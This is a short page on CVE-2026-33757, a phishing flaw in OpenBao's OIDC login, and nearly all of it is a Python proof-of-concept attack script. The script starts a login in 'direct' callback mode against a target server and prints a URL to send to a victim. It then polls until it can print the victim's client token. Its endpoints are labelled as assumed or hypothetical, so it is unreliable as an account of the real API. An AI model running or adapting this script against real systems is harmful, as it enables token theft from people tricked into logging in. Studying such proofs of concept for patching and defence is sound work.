CVE-2026-33757 OpenBao 远程钓鱼漏洞

import requests import time # Conceptual PoC for CVE-2026-33757 # Demonstrates the logic of initiating a login and polling for the token # in 'direct' callback mode. OPENBAO_ADDR = "http://target-openbao:8200" ROLE_NAME = "phishing_role" # Step 1: Attacker initiates the login request to get a URL print("[+] Initiating malicious login request...") init_payload = { "role": ROLE_NAME, "callback_mode": "direct", "redirect_uri": "http://attacker-controlled-site/callback" # Callback handled internally in direct mode } # Assuming endpoint structure based on described behavior response = requests.post(f"{OPENBAO_ADDR}/v1/auth/jwt/oidc/login", json=init_payload) if response.status_code == 200: data = response.json() # Extract the auth URL that the victim needs to visit auth_url = data.get("auth_url") print(f"[+] Phishing URL generated: {auth_url}") print("[!] Send this URL to the victim.") # Step 2: Attacker polls for the token # In 'direct' mode, the attacker polls the API waiting for the victim to authenticate print("[*] Polling for token issuance...") while True: # Hypothetical polling endpoint poll_resp = requests.get(f"{OPENBAO_ADDR}/v1/auth/jwt/oidc/lookup") if poll_resp.status_code == 200 and "auth" in poll_resp.json(): token = poll_resp.json()["auth"]["client_token"] print(f"[+] SUCCESS! Victim authenticated. Token: {token}") break elif poll_resp.status_code == 202: # Still pending time.sleep(2) else: print("[-] Error polling for token") break else: print("[-] Failed to initiate login")